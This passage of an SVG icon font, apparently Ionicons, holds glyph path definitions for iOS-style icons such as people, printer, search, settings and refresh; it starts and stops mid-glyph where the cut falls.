c-1 -12 -8 -18 -19 -22c-12 -4 -29 -3 -36 -15h49zM368 96c-2 8 -10 14 -16 19c-8 6 -18 13 -28 15c-3 1 -16 -1 -13 5c2 4 9 5 13 6s15 2 16 7c0 1 1 14 0 14c-6 0 -12 1 -18 2c-4 1 -7 2 -11 4c-6 3 -2 6 0 11c14 32 -10 88 32 105c15 6 34 5 48 -3c15 -9 20 -27 20 -44
c0 -20 -4 -44 7 -62c2 -3 4 -4 0 -6c-2 -1 -4 -1 -6 -2l-12 -3s-9 -1 -13 -1c0 -4 -2 -13 1 -17c6 -7 21 -7 29 -10c18 -6 31 -20 31 -40h-80zM367 123c4 -4 -5 5 0 0s8 -11 15 -11h16h28c-7 12 -26 11 -38 16c-11 4 -16 12 -17 24c0 2 -1 27 1 27c9 0 18 0 26 1
c-7 23 1 47 -4 70c-3 15 -15 23 -30 23c-17 0 -28 -8 -31 -25c-4 -23 2 -46 -5 -68c6 -2 12 -2 18 -2s8 1 9 -5c1 -11 5 -28 -4 -37c6 -4 11 -8 16 -13z" />
    <glyph glyph-name="ion-ios-people" unicode="&#xf47c;" 
d="M317 113c11 -4 -11 4 0 0v0zM317 113c28 -10 46 -35 46 -65h-28h-250c0 22 9 42 27 55c15 11 31 12 49 16c7 1 24 5 26 13s1 15 1 23c0 3 0 3 -2 5c-4 4 -6 9 -8 14c-2 8 -3 16 -4 24c-9 -2 -10 16 -12 21c-1 4 -7 24 3 21c-3 5 -4 13 -5 19c-2 13 -2 26 3 39
c10 26 37 39 64 38c26 -1 51 -16 59 -42c4 -12 3 -26 1 -39c-1 -5 -2 -11 -4 -15c10 3 4 -20 3 -23c-2 -5 -3 -21 -12 -19c-1 -10 -2 -22 -7 -31c-1 -2 -7 -8 -7 -10v-11c0 -5 0 -10 2 -15s10 -7 14 -8c14 -5 27 -5 41 -10zM111 126h2h-1h-1zM111 126c-9 -5 -17 -11 -24 -19
c-1 -2 -6 -11 -7 -11h-25h-55c0 20 12 34 30 40c6 2 27 4 30 11c2 5 1 11 1 16c-10 -1 -24 1 -32 7c-2 2 3 9 4 12c1 4 2 7 3 11c1 9 1 19 1 28c0 16 -1 35 8 49c8 13 23 18 38 18c24 0 43 -13 47 -37c3 -16 1 -32 2 -48c0 -8 2 -16 5 -24c1 -2 5 -7 3 -9l-6 -3
c-5 -2 -11 -3 -17 -4c-1 0 -8 0 -9 -1s0 -9 0 -11c0 -4 1 -6 5 -7c6 -2 19 -3 23 -8c2 -3 1 -5 -2 -5c-7 -1 -14 -2 -21 -5c2 1 2 2 -1 0c-8 -4 -4 -2 -1 0zM417 136c18 -6 31 -20 31 -40h-80c-2 8 -10 14 -16 19c-8 6 -18 13 -28 15c-3 1 -16 -1 -13 5c2 4 9 5 13 6
s15 2 16 7c0 1 1 14 0 14c-6 0 -12 1 -18 2c-4 1 -7 2 -11 4c-6 3 -2 6 0 11c14 32 -10 88 32 105c15 6 34 5 48 -3c15 -9 20 -27 20 -44c0 -20 -4 -44 7 -62c2 -3 4 -4 0 -6c-2 -1 -4 -1 -6 -2l-12 -3s-9 -1 -13 -1c0 -4 -2 -13 1 -17c6 -7 21 -7 29 -10z" />
    <glyph glyph-name="ion-ios-person-outline" unicode="&#xf47d;" horiz-adv-x="320" 
d="M106 246v0v0zM267 84c13 -5 53 -20 53 -52h-160h-160c0 32 40 47 53 52s31 6 43 9c7 2 17 5 20 9s1 41 1 41s-6 10 -9 18s-7 32 -7 32s-7 0 -9 12c-2 13 -6 17 -6 27c0 9 5 10 5 10v0s-4 13 -5 42c-1 34 25 68 74 68s75 -34 74 -68c-1 -29 -5 -42 -5 -42v0s5 -1 5 -10
c0 -10 -3 -15 -6 -28c-2 -12 -9 -12 -9 -12s-4 -23 -7 -31s-9 -18 -9 -18s-2 -37 1 -41s13 -7 20 -9c12 -3 30 -4 43 -9zM160 48v0h137c-2 3 -4 6 -8 8c-7 5 -16 9 -27 13c-7 2 -17 4 -26 5c-6 1 -10 2 -15 3c-3 1 -21 5 -29 15c-4 5 -6 12 -6 32c0 10 1 20 1 20v4l2 4
c1 2 6 9 8 15c2 5 5 19 6 28c0 0 0 -1 1 4s8 4 9 8s3 7 5 18s-5 12 -5 17c0 4 1 5 1 5v0c0 1 4 14 4 38c0 13 -5 26 -14 35c-11 11 -25 16 -44 16c-18 0 -34 -5 -45 -16c-9 -9 -13 -22 -13 -35c1 -24 4 -37 4 -38v0s1 -3 0 -6c-1 -5 -6 -5 -4 -16s4 -14 5 -18s8 -3 9 -8
s1 -4 1 -4c1 -9 4 -23 6 -28c2 -6 6 -13 8 -15l2 -4v-4s1 -10 1 -20c0 -20 -2 -27 -6 -32c-8 -10 -26 -14 -29 -15c-5 -1 -10 -2 -16 -3c-9 -1 -18 -3 -25 -5c-11 -4 -20 -8 -27 -13c-4 -2 -6 -5 -8 -8h137z" />
    <glyph glyph-name="ion-ios-person" unicode="&#xf47e;" horiz-adv-x="320" 
d="M267 84c13 -5 53 -20 53 -52h-160h-160c0 32 40 47 53 52s31 6 43 9c7 2 17 5 20 9s1 41 1 41s-6 10 -9 18s-7 32 -7 32s-7 0 -9 12c-2 13 -6 17 -6 27c0 9 5 10 5 10v0s-4 13 -5 42c-1 34 25 68 74 68s75 -34 74 -68c-1 -29 -5 -42 -5 -42v0s5 -1 5 -10
c0 -10 -3 -15 -6 -28c-2 -12 -9 -12 -9 -12s-4 -23 -7 -31s-9 -18 -9 -18s-2 -37 1 -41s13 -7 20 -9c12 -3 30 -4 43 -9z" />
    <glyph glyph-name="ion-ios-personadd-outline" unicode="&#xf47f;" horiz-adv-x="320" 
d="M320 295v-14h-25v-25h-14v25h-25v14h25v25h14v-25h25zM106 246v0v0zM267 84c13 -5 53 -20 53 -52h-160h-160c0 32 40 47 53 52s31 6 43 9c7 2 17 5 20 9s1 41 1 41s-6 10 -9 18s-7 32 -7 32s-7 0 -9 12c-2 13 -6 17 -6 27c0 9 5 10 5 10v0s-4 13 -5 42c-1 34 25 68 74 68
s75 -34 74 -68c-1 -29 -5 -42 -5 -42v0s5 -1 5 -10c0 -10 -3 -15 -6 -28c-2 -12 -9 -12 -9 -12s-4 -23 -7 -31s-9 -18 -9 -18s-2 -37 1 -41s13 -7 20 -9c12 -3 30 -4 43 -9zM160 48v0h137c-2 3 -4 6 -8 8c-7 5 -16 9 -27 13c-7 2 -17 4 -26 5c-6 1 -10 2 -15 3
c-3 1 -21 5 -29 15c-4 5 -6 12 -6 32c0 10 1 20 1 20v4l2 4c1 2 6 9 8 15c2 5 5 19 6 28c0 0 0 -1 1 4s8 4 9 8s3 7 5 18s-5 12 -5 17c0 4 1 5 1 5v0c0 1 4 14 4 38c0 13 -5 26 -14 35c-11 11 -25 16 -44 16c-18 0 -34 -5 -45 -16c-9 -9 -13 -22 -13 -35c1 -24 4 -37 4 -38
v0s1 -3 0 -6c-1 -5 -6 -5 -4 -16s4 -14 5 -18s8 -3 9 -8s1 -4 1 -4c1 -9 4 -23 6 -28c2 -6 6 -13 8 -15l2 -4v-4s1 -10 1 -20c0 -20 -2 -27 -6 -32c-8 -10 -26 -14 -29 -15c-5 -1 -10 -2 -16 -3c-9 -1 -18 -3 -25 -5c-11 -4 -20 -8 -27 -13c-4 -2 -6 -5 -8 -8h137z" />
    <glyph glyph-name="ion-ios-personadd" unicode="&#xf480;" horiz-adv-x="320" 
d="M320 295v-14h-25v-25h-14v25h-25v14h25v25h14v-25h25zM267 84c13 -5 53 -20 53 -52h-160h-160c0 32 40 47 53 52s31 6 43 9c7 2 17 5 20 9s1 41 1 41s-6 10 -9 18s-7 32 -7 32s-7 0 -9 12c-2 13 -6 17 -6 27c0 9 5 10 5 10v0s-4 13 -5 42c-1 34 25 68 74 68
s75 -34 74 -68c-1 -29 -5 -42 -5 -42v0s5 -1 5 -10c0 -10 -3 -15 -6 -28c-2 -12 -9 -12 -9 -12s-4 -23 -7 -31s-9 -18 -9 -18s-2 -37 1 -41s13 -7 20 -9c12 -3 30 -4 43 -9z" />
    <glyph glyph-name="ion-ios-photos-outline" unicode="&#xf481;" 
d="M64 320h384v-320h-384v320zM432 16v288h-352v-288h352zM0 384h384v-48h-16v32h-352v-288h32v-16h-48v320z" />
    <glyph glyph-name="ion-ios-photos" unicode="&#xf482;" 
d="M64 320h384v-320h-384v320zM384 384v-48h-336v-272h-48v320h384z" />
    <glyph glyph-name="ion-ios-pie-outline" unicode="&#xf483;" 
d="M256 367v0v-207v-12l-12 -4l-180 -45c6 -13 13 -25 21 -36c12 -16 25 -30 41 -42c33 -24 73 -37 114 -37c26 0 51 5 75 15c23 10 43 23 61 41s31 38 41 61c10 24 15 49 15 75c0 51 -20 100 -56 136c-32 32 -75 51 -120 55zM240 384v0c115 0 208 -93 208 -208
s-93 -208 -208 -208c-92 0 -171 60 -198 143l198 49v224zM208 400c-31 -1 -60 -7 -85 -18c-24 -11 -44 -26 -61 -46c-29 -34 -46 -80 -46 -127v0v0c0 -13 3 -46 12 -70l180 46v215zM224 416v0v-244l-205 -52c-19 32 -19 89 -19 89c0 91 58 207 218 207h6z" />
    <glyph glyph-name="ion-ios-pie" unicode="&#xf484;" 
d="M240 384v0c115 0 208 -93 208 -208s-93 -208 -208 -208c-92 0 -171 60 -198 143l198 49v224zM224 416v0v-244l-205 -52c-19 32 -19 89 -19 89c0 91 58 207 218 207h6z" />
    <glyph glyph-name="ion-ios-pint-outline" unicode="&#xf485;" horiz-adv-x="224" 
d="M224 278c0 -98 -32 -101 -32 -181c0 -40 16 -71 16 -99c0 -27 -9 -30 -32 -30h-128c-23 0 -32 2 -32 29c0 28 16 60 16 100c0 80 -32 83 -32 181c0 21 1 89 19 125c4 9 13 13 32 13h122c19 0 28 -4 32 -13c18 -36 19 -104 19 -125zM34 396c-8 -16 -14 -43 -17 -76h190
c-3 33 -9 60 -17 76c-1 2 -1 1 -2 2c-2 1 -6 2 -15 2h-122c-9 0 -13 -1 -15 -2c-1 -1 -1 0 -2 -2zM191 -15c0 1 1 5 1 13c0 11 -4 23 -7 37c-4 18 -9 39 -9 62c0 41 8 64 16 86c8 23 16 46 16 95c0 9 -1 18 -1 26h-190c0 -8 -1 -17 -1 -26c0 -49 8 -72 16 -95
c8 -22 16 -45 16 -86c0 -23 -5 -44 -9 -62c-3 -14 -7 -26 -7 -37c0 -8 1 -12 1 -13c2 -1 7 -1 15 -1h128c8 0 13 0 15 1z" />
    <glyph glyph-name="ion-ios-pint" unicode="&#xf486;" horiz-adv-x="224" 
d="M224 278c0 -98 -32 -101 -32 -181c0 -40 16 -71 16 -99c0 -27 -9 -30 -32 -30h-128c-23 0 -32 2 -32 29c0 28 16 60 16 100c0 80 -32 83 -32 181c0 21 1 89 19 125c4 9 13 13 32 13h122c19 0 28 -4 32 -13c18 -36 19 -104 19 -125zM34 396c-8 -16 -14 -43 -17 -76h190
c-3 33 -9 60 -17 76c-1 2 -1 1 -2 2c-2 1 -6 2 -15 2h-122c-9 0 -13 -1 -15 -2c-1 -1 -1 0 -2 -2z" />
    <glyph glyph-name="ion-ios-play-outline" unicode="&#xf487;" horiz-adv-x="256" 
d="M16 323v-262l210 131zM0 352v0l256 -160l-256 -160v320z" />
    <glyph glyph-name="ion-ios-play" unicode="&#xf488;" horiz-adv-x="256" 
d="M0 352v0l256 -160l-256 -160v320z" />
    <glyph glyph-name="ion-ios-plus-empty" unicode="&#xf489;" horiz-adv-x="256" 
d="M256 183h-120v-119h-17v119h-119v17h119v120h17v-120h120v-17z" />
    <glyph glyph-name="ion-ios-plus-outline" unicode="&#xf48a;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1c105 0 191 86 191 191s-86 191 -191 191s-191 -86 -191 -191s86 -191 191 -191zM216 320v-120h120v-17h-120v-119h-17v119h-119v17h119v120h17z" />
    <glyph glyph-name="ion-ios-plus" unicode="&#xf48b;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM336 183v17h-120v120h-17v-120h-119v-17h119v-119h17v119h120z" />
    <glyph glyph-name="ion-ios-pricetag-outline" unicode="&#xf48c;" horiz-adv-x="416" 
d="M416 416v-160l-256 -288l-160 160l256 288h160zM400 264v136h-136l-240 -272l136 -136zM320 288c-18 0 -32 14 -32 32s14 32 32 32s32 -14 32 -32s-14 -32 -32 -32zM320 336c-9 0 -16 -7 -16 -16s7 -16 16 -16s16 7 16 16s-7 16 -16 16z" />
    <glyph glyph-name="ion-ios-pricetag" unicode="&#xf48d;" horiz-adv-x="416" 
d="M304 320c0 11 5 16 16 16s16 -5 16 -16s-5 -16 -16 -16s-16 5 -16 16zM256 416h160v-160l-256 -288l-160 160zM320 288c9 0 16 4 22 10s10 13 10 22s-4 16 -10 22s-13 10 -22 10s-16 -4 -22 -10s-10 -13 -10 -22s4 -16 10 -22s13 -10 22 -10z" />
    <glyph glyph-name="ion-ios-pricetags-outline" unicode="&#xf48e;" 
d="M416 384h32v-144l-240 -272l-25 24l-23 -24l-160 160l256 288h160v-32zM160 -9l12 12l11 12l217 248v105v16v16h-137l-241 -272zM432 247v121h-16v-112l-221 -253l13 -12zM320 288c-18 0 -32 14 -32 32s14 32 32 32s32 -14 32 -32s-14 -32 -32 -32zM320 336
c-9 0 -16 -7 -16 -16s7 -16 16 -16s16 7 16 16s-7 16 -16 16z" />
    <glyph glyph-name="ion-ios-pricetags" unicode="&#xf48f;" 
d="M432 384h16v-144l-240 -272l-13 13l237 266v137zM256 416h160v-32v-16v-112l-221 -253l-12 -11l-23 -24l-160 160zM320 288c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32zM304 320c0 11 5 16 16 16s16 -5 16 -16s-5 -16 -16 -16s-16 5 -16 16z" />
    <glyph glyph-name="ion-ios-printer-outline" unicode="&#xf490;" horiz-adv-x="416" 
d="M384 336c18 0 32 -13 32 -31v-159c0 -18 -14 -32 -32 -32h-48v-114h-256v114h-48c-18 0 -32 14 -32 32v159c0 18 14 31 32 31h32v48h288v-48h32zM80 368v-32h256v32h-256zM320 16v192h-224v-192h224zM400 146v159c0 9 -7 15 -16 15v0h-352c-9 0 -16 -6 -16 -15v-159
c0 -9 7 -16 16 -16h48v94h256v-94h48c9 0 16 7 16 16z" />
    <glyph glyph-name="ion-ios-printer" unicode="&#xf491;" horiz-adv-x="416" 
d="M80 0v224h256v-224h-256zM80 -0v224h256v-224h-256zM64 352v32h288v-32h-288zM385 336c18 0 31 -14 31 -31v-158c0 -17 -13 -34 -31 -34h-33v126h-288v-126h-31c-18 0 -33 17 -33 34v158c0 17 15 31 33 31h352z" />
    <glyph glyph-name="ion-ios-pulse-strong" unicode="&#xf492;" horiz-adv-x="480" 
d="M432 175c27 0 48 -20 48 -47s-21 -49 -48 -49c-21 0 -38 13 -45 31h-51c-7 0 -13 4 -15 11l-16 47l-50 -173c-2 -7 -8 -11 -15 -11h-1c-7 0 -14 5 -15 12l-51 308l-45 -182c-2 -7 -9 -12 -16 -12h-112v32h99l61 245c2 7 8 13 16 13s15 -7 16 -14l52 -314l45 155
c2 7 8 11 15 11v0c7 0 13 -4 15 -11l29 -85h38c6 19 25 33 46 33z" />
    <glyph glyph-name="ion-ios-pulse" unicode="&#xf493;" 
d="M416 160c18 0 32 -14 32 -32s-14 -32 -32 -32c-15 0 -27 10 -31 23h-65c-3 0 -7 2 -8 5l-23 72l-57 -198c-1 -3 -4 -6 -8 -6v0c-4 0 -7 3 -8 7l-58 346l-54 -220c-1 -4 -4 -6 -8 -6h-96v16h90l62 251c1 4 4 6 8 6s7 -3 8 -7l58 -349l54 190c1 3 4 5 8 5s7 -2 8 -5l30 -91
h59c3 14 16 25 31 25z" />
    <glyph glyph-name="ion-ios-rainy-outline" unicode="&#xf494;" horiz-adv-x="288" 
d="M220 269c38 0 68 -33 68 -71c0 -29 -19 -56 -45 -66l-55 -80c-2 -2 -5 -4 -8 -4c-5 0 -8 3 -8 8c0 2 1 4 2 6l46 66v0h-35l-31 -44c-2 -2 -4 -4 -7 -4c-5 0 -9 3 -9 8c0 2 1 3 2 5l25 35h-37l-53 -76c-2 -2 -4 -4 -7 -4c-5 0 -9 3 -9 8c0 2 2 4 3 6l46 66h-36l-32 -44
c-2 -2 -4 -4 -7 -4c-5 0 -8 3 -8 8c0 2 1 4 2 6l25 34c-29 2 -52 27 -52 56c0 28 22 58 50 60c0 3 -1 5 -1 8c0 46 31 84 82 84c45 0 73 -31 81 -68c3 0 5 1 8 1zM220 146c28 0 52 24 52 52s-24 54 -52 54h-6l-15 -2l-3 15c-3 14 -11 31 -23 40c-12 10 -26 14 -41 14
c-36 0 -66 -31 -66 -67v-12v-10c-6 0 -12 -2 -14 -2c-20 -3 -35 -23 -35 -43c0 -10 4 -20 11 -27s16 -12 26 -12h124v0v0h42z" />
    <glyph glyph-name="ion-ios-rainy" unicode="&#xf495;" horiz-adv-x="288" 
d="M220 269c38 0 68 -33 68 -71c0 -29 -19 -56 -45 -66l-55 -80c-2 -2 -5 -4 -8 -4c-5 0 -8 3 -8 8c0 2 1 4 2 6l46 66v0h-35l-31 -44c-2 -2 -4 -4 -7 -4c-5 0 -9 3 -9 8c0 2 1 3 2 5l25 35h-37l-53 -76c-2 -2 -4 -4 -7 -4c-5 0 -9 3 -9 8c0 2 2 4 3 6l46 66h-36l-32 -44
c-2 -2 -4 -4 -7 -4c-5 0 -8 3 -8 8c0 2 1 4 2 6l25 34c-29 2 -52 27 -52 56c0 28 22 58 50 60c0 3 -1 5 -1 8c0 46 31 84 82 84c45 0 73 -31 81 -68c3 0 5 1 8 1z" />
    <glyph glyph-name="ion-ios-recording-outline" unicode="&#xf496;" horiz-adv-x="480" 
d="M370 304c61 0 110 -50 110 -112s-49 -112 -110 -112h-260c-61 0 -110 50 -110 112s49 112 110 112s110 -50 110 -112c0 -40 -21 -75 -53 -95h146c-32 20 -53 55 -53 95c0 62 49 112 110 112zM16 192c0 -53 42 -95 94 -95s93 42 93 95s-41 95 -93 95s-94 -42 -94 -95z
M370 97c52 0 94 42 94 95s-42 95 -94 95s-93 -42 -93 -95s41 -95 93 -95zM368 240c-26 0 -48 -22 -48 -48s22 -48 48 -48s48 22 48 48s-22 48 -48 48zM368 256v0c35 0 64 -29 64 -64s-29 -64 -64 -64s-64 29 -64 64s29 64 64 64zM112 240c-26 0 -48 -22 -48 -48
s22 -48 48 -48s48 22 48 48s-22 48 -48 48zM112 256v0c35 0 64 -29 64 -64s-29 -64 -64 -64s-64 29 -64 64s29 64 64 64z" />
    <glyph glyph-name="ion-ios-recording" unicode="&#xf497;" horiz-adv-x="480" 
d="M370 304c61 0 110 -50 110 -112s-49 -112 -110 -112h-260c-61 0 -110 50 -110 112s49 112 110 112s110 -50 110 -112c0 -40 -21 -76 -53 -95h146c-32 19 -53 55 -53 95c0 62 49 112 110 112zM112 128c35 0 64 29 64 64s-29 64 -64 64s-64 -29 -64 -64s29 -64 64 -64z
M368 128c35 0 64 29 64 64s-29 64 -64 64s-64 -29 -64 -64s29 -64 64 -64zM368 240c26 0 48 -22 48 -48s-22 -48 -48 -48s-48 22 -48 48s22 48 48 48zM112 240c26 0 48 -22 48 -48s-22 -48 -48 -48s-48 22 -48 48s22 48 48 48z" />
    <glyph glyph-name="ion-ios-redo-outline" unicode="&#xf498;" horiz-adv-x="384" 
d="M0 48v32c0 17 -3 83 49 136c35 36 80 53 143 56v80l192 -128l-192 -128v80c-40 -1 -63 -9 -87 -20c-31 -14 -55 -44 -75 -77l-20 -31h-10zM208 256c-201 0 -192 -169 -192 -169c48 81 101 105 192 105v-65l148 97l-148 97v-65z" />
    <glyph glyph-name="ion-ios-redo" unicode="&#xf499;" horiz-adv-x="384" 
d="M0 48v32c0 17 -3 83 49 136c35 36 80 53 143 56v80l192 -128l-192 -128v80c-40 -1 -63 -9 -87 -20c-31 -14 -55 -44 -75 -77l-20 -31h-10z" />
    <glyph glyph-name="ion-ios-refresh-empty" unicode="&#xf49a;" horiz-adv-x="256" 
d="M128 64c-71 0 -128 57 -128 128s57 128 128 128v44l96 -64l-96 -56v56c-60 0 -108 -48 -108 -108s48 -108 108 -108s108 48 108 108h20c0 -71 -57 -128 -128 -128z" />
    <glyph glyph-name="ion-ios-refresh-outline" unicode="&#xf49b;" horiz-adv-x="416" 
d="M316 192v0h20c0 -71 -57 -128 -128 -128s-128 57 -128 128s57 128 128 128v44l96 -64l-96 -56v56c-60 0 -108 -48 -108 -108s48 -108 108 -108s108 48 108 108zM208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 1
c105 0 191 86 191 191s-86 191 -191 191s-191 -86 -191 -191s86 -191 191 -191z" />
    <glyph glyph-name="ion-ios-refresh" unicode="&#xf49c;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM208 64c71 0 128 57 128 128h-20c0 -60 -48 -108 -108 -108s-108 48 -108 108s48 108 108 108v-56l96 56l-96 64v-44c-71 0 -128 -57 -128 -128s57 -128 128 -128z" />
    <glyph glyph-name="ion-ios-reload" unicode="&#xf49d;" 
d="M192 384c106 0 192 -86 192 -192l55 53l9 -9l-70 -68l-67 68l9 9l51 -52c0 98 -80 178 -179 178s-179 -80 -179 -179s80 -179 179 -179c79 0 146 50 170 121l12 -3c-26 -76 -97 -131 -182 -131c-106 0 -192 86 -192 192s86 192 192 192z" />
    <glyph glyph-name="ion-ios-reverse-camera-outline" unicode="&#xf49e;" horiz-adv-x="384" 
d="M238 129l2 2l11 -12l-2 -2c-16 -14 -36 -21 -57 -21c-45 0 -82 36 -87 78h-30l38 50l39 -50h-31c5 -33 35 -62 71 -62c17 0 33 6 46 17zM252 249c16 -14 25 -37 27 -57h30l-38 -51l-39 51h31c-5 35 -35 64 -71 64c-17 0 -33 -6 -46 -17l-2 -2l-11 12l2 2
c16 14 36 21 57 21c22 0 44 -8 60 -23zM354 288c18 0 30 -14 30 -31v-176c0 -17 -12 -33 -30 -33h-320c-18 0 -34 16 -34 33v176c0 17 16 31 34 31h13v16h34v-16h13c32 36 43 48 55 48h88c12 0 23 -12 55 -48h62zM368 81v176c0 9 -5 15 -14 15h-62h-6s-4 1 -6 3s-6 8 -9 11
c-12 13 -21 24 -27 30c-5 5 -7 4 -7 4h-88s-1 0 -6 -4c-6 -5 -15 -14 -26 -27c-3 -4 -8 -11 -11 -14s-4 -3 -6 -3h-6h-60c-9 0 -18 -7 -18 -15v-176c0 -9 9 -17 18 -17h320c8 0 14 8 14 17z" />
    <glyph glyph-name="ion-ios-reverse-camera" unicode="&#xf49f;" horiz-adv-x="384" 
d="M354 288c18 0 30 -14 30 -31v-176c0 -17 -12 -33 -30 -33h-320c-18 0 -34 16 -34 33v176c0 17 16 31 34 31h13v16h34v-16h13c32 36 43 48 55 48h88c12 0 23 -12 55 -48h62zM249 117l2 2l-11 12l-2 -2c-13 -11 -29 -17 -46 -17c-36 0 -66 29 -71 62h31l-39 50l-38 -50h30
c5 -42 42 -78 87 -78c21 0 41 7 57 21zM271 141l38 51h-30c-2 20 -11 43 -27 57c-16 15 -38 23 -60 23c-21 0 -41 -7 -57 -21l-2 -2l11 -12l2 2c13 11 29 17 46 17c36 0 66 -29 71 -64h-31z" />
    <glyph glyph-name="ion-ios-rewind-outline" unicode="&#xf4a0;" 
d="M432 293l-184 -101l184 -101v202zM208 292v0l-176 -100l176 -100v95v27v78zM224 320v0v-123l224 123v-256l-224 123v-123l-224 128z" />
    <glyph glyph-name="ion-ios-rewind" unicode="&#xf4a1;" 
d="M224 320v0v-123l224 123v-256l-224 123v-123l-224 128z" />
    <glyph glyph-name="ion-ios-rose-outline" unicode="&#xf4a2;" horiz-adv-x="320" 
d="M284 295c-4 -1 -9 -3 -13 -4c-37 -11 -71 -24 -103 -39c-17 -8 -24 -12 -44 -24l-7 -4c-31 -18 -50 -33 -63 -51c-15 -21 -22 -45 -22 -77c0 -16 3 -30 9 -44c6 -13 14 -26 25 -36c23 -21 55 -32 94 -32s71 11 94 32c11 10 19 23 25 36c6 14 9 28 9 44c0 20 -5 40 -11 60
c-11 40 -23 83 7 139zM320 320v0c-77 -96 -16 -151 -16 -224s-56 -128 -144 -128s-144 55 -144 128s35 109 93 142c25 14 33 19 52 28c30 14 65 28 105 40c17 5 35 10 54 14zM38 325c14 -28 18 -57 19 -83c9 7 20 13 30 20c7 4 14 9 21 13c5 3 10 6 16 9c-5 4 -11 7 -17 11
c-22 13 -48 23 -69 30zM0 352v0s66 -15 115 -43c15 -8 28 -18 37 -29c-12 -6 -24 -12 -36 -19c-7 -4 -14 -8 -20 -12c-25 -16 -44 -31 -57 -42c5 41 2 98 -39 145zM249 367c-8 -1 -20 -2 -35 -7c-25 -8 -47 -20 -64 -36c8 -6 15 -12 21 -18c29 12 65 26 95 34
c-5 10 -12 20 -17 27zM256 384v0s26 -32 32 -55c-33 -8 -84 -25 -121 -42l-3 3c-9 11 -22 22 -39 32c52 60 131 62 131 62zM85 394c-6 -10 -10 -20 -14 -28c12 -4 22 -10 36 -17c4 5 9 10 14 14c-13 15 -27 25 -36 31zM80 416v0s35 -16 64 -56c-12 -9 -23 -20 -33 -31
c-26 13 -40 21 -61 27c5 15 15 38 30 60z" />
    <glyph glyph-name="ion-ios-rose" unicode="&#xf4a3;" horiz-adv-x="320" 
d="M320 320v0c-77 -96 -16 -151 -16 -224s-56 -128 -144 -128s-144 55 -144 128s35 109 93 142c25 14 33 19 52 28c30 14 65 28 105 40c17 5 35 10 54 14zM0 352v0s66 -15 115 -43c15 -8 28 -18 37 -29c-12 -6 -24 -12 -36 -19c-7 -4 -14 -8 -20 -12
c-25 -16 -44 -31 -57 -42c5 41 2 98 -39 145zM256 384v0s26 -32 32 -55c-33 -8 -84 -25 -121 -42l-3 3c-9 11 -22 22 -39 32c52 60 131 62 131 62zM80 416v0s35 -16 64 -56c-12 -9 -23 -20 -33 -31c-26 13 -40 21 -61 27c5 15 15 38 30 60z" />
    <glyph glyph-name="ion-ios-search-strong" unicode="&#xf4a4;" horiz-adv-x="384" 
d="M280 150l-4 -7l108 -109l-34 -34l-108 109l-7 -5c-24 -15 -53 -25 -83 -25c-84 0 -152 69 -152 153s68 152 152 152s152 -68 152 -152c0 -30 -9 -58 -24 -82zM237 317c-23 23 -53 35 -85 35s-62 -12 -85 -35s-35 -53 -35 -85s12 -62 35 -85s53 -35 85 -35s62 12 85 35
s36 53 36 85s-13 62 -36 85z" />
    <glyph glyph-name="ion-ios-search" unicode="&#xf4a5;" horiz-adv-x="384" 
d="M384 23l-23 -23l-113 113c-26 -21 -60 -33 -96 -33c-84 0 -152 68 -152 152s68 152 152 152s152 -68 152 -152c0 -36 -12 -69 -33 -95zM56 135c26 -26 60 -39 96 -39s70 14 96 40s40 60 40 96s-14 70 -40 96s-60 40 -96 40s-70 -14 -96 -40s-40 -60 -40 -96
s14 -71 40 -97z" />
    <glyph glyph-name="ion-ios-settings-strong" unicode="&#xf4a6;" 
d="M0 72h283c6 14 21 24 37 24s31 -10 37 -24h91v-32h-91c-6 -14 -21 -24 -37 -24s-31 10 -37 24h-283zM0 208h91c6 14 21 24 37 24s31 -10 37 -24h283v-32h-283c-6 -14 -21 -24 -37 -24s-31 10 -37 24h-91zM0 344h283c6 14 21 24 37 24s31 -10 37 -24h91v-32h-91
c-6 -14 -21 -24 -37 -24s-31 10 -37 24h-283z" />
    <glyph glyph-name="ion-ios-settings" unicode="&#xf4a7;" 
d="M320 344c-9 0 -16 -7 -16 -16s7 -16 16 -16s16 7 16 16s-7 16 -16 16zM320 360v0c18 0 32 -14 32 -32s-14 -32 -32 -32s-32 14 -32 32s14 32 32 32zM320 72c-9 0 -16 -7 -16 -16s7 -16 16 -16s16 7 16 16s-7 16 -16 16zM320 88v0c18 0 32 -14 32 -32s-14 -32 -32 -32
s-32 14 -32 32s14 32 32 32zM128 208c-9 0 -16 -7 -16 -16s7 -16 16 -16s16 7 16 16s-7 16 -16 16zM128 224v0c18 0 32 -14 32 -32s-14 -32 -32 -32s-32 14 -32 32s14 32 32 32zM175 200h273v-16h-273c0 3 1 5 1 8s-1 5 -1 8zM80 192c0 -3 1 -5 1 -8h-81v16h81
c0 -3 -1 -5 -1 -8zM367 64h81v-16h-81c0 3 1 5 1 8s-1 5 -1 8zM272 56c0 -3 1 -5 1 -8h-273v16h273c0 -3 -1 -5 -1 -8zM367 336h81v-16h-81c0 3 1 5 1 8s-1 5 -1 8zM273 336c0 -3 -1 -5 -1 -8s1 -5 1 -8h-273v16h273z" />
    <glyph glyph-name="ion-ios-shuffle-strong" unicode="&#xf4a8;" horiz-adv-x="384" 
d="M301 296c-85 0 -119 -64 -152 -126c-1 -3 -3 -5 -4 -8l-1 -1c-2 -3 -2 -5 -4 -8c-21 -38 -43 -68 -68 -83c-15 -9 -34 -18 -72 -18v32c45 0 76 18 112 84c2 3 2 6 4 9h1c1 2 3 4 4 7c34 64 76 144 180 144h15l-52 43l21 25l99 -84l-99 -82l-21 24l51 42h-14zM285 154
l99 -82l-99 -84l-21 25l52 43h-15c-78 0 -122 45 -153 95l18 33c29 -51 64 -96 135 -96h14l-51 42zM112 216c-36 66 -67 84 -112 84v32c38 0 57 -9 72 -18c25 -15 47 -44 67 -81c-7 -11 -13 -22 -19 -33c-1 2 -2 5 -3 7h-1c-2 3 -2 6 -4 9z" />
    <glyph glyph-name="ion-ios-shuffle" unicode="&#xf4a9;" horiz-adv-x="384" 
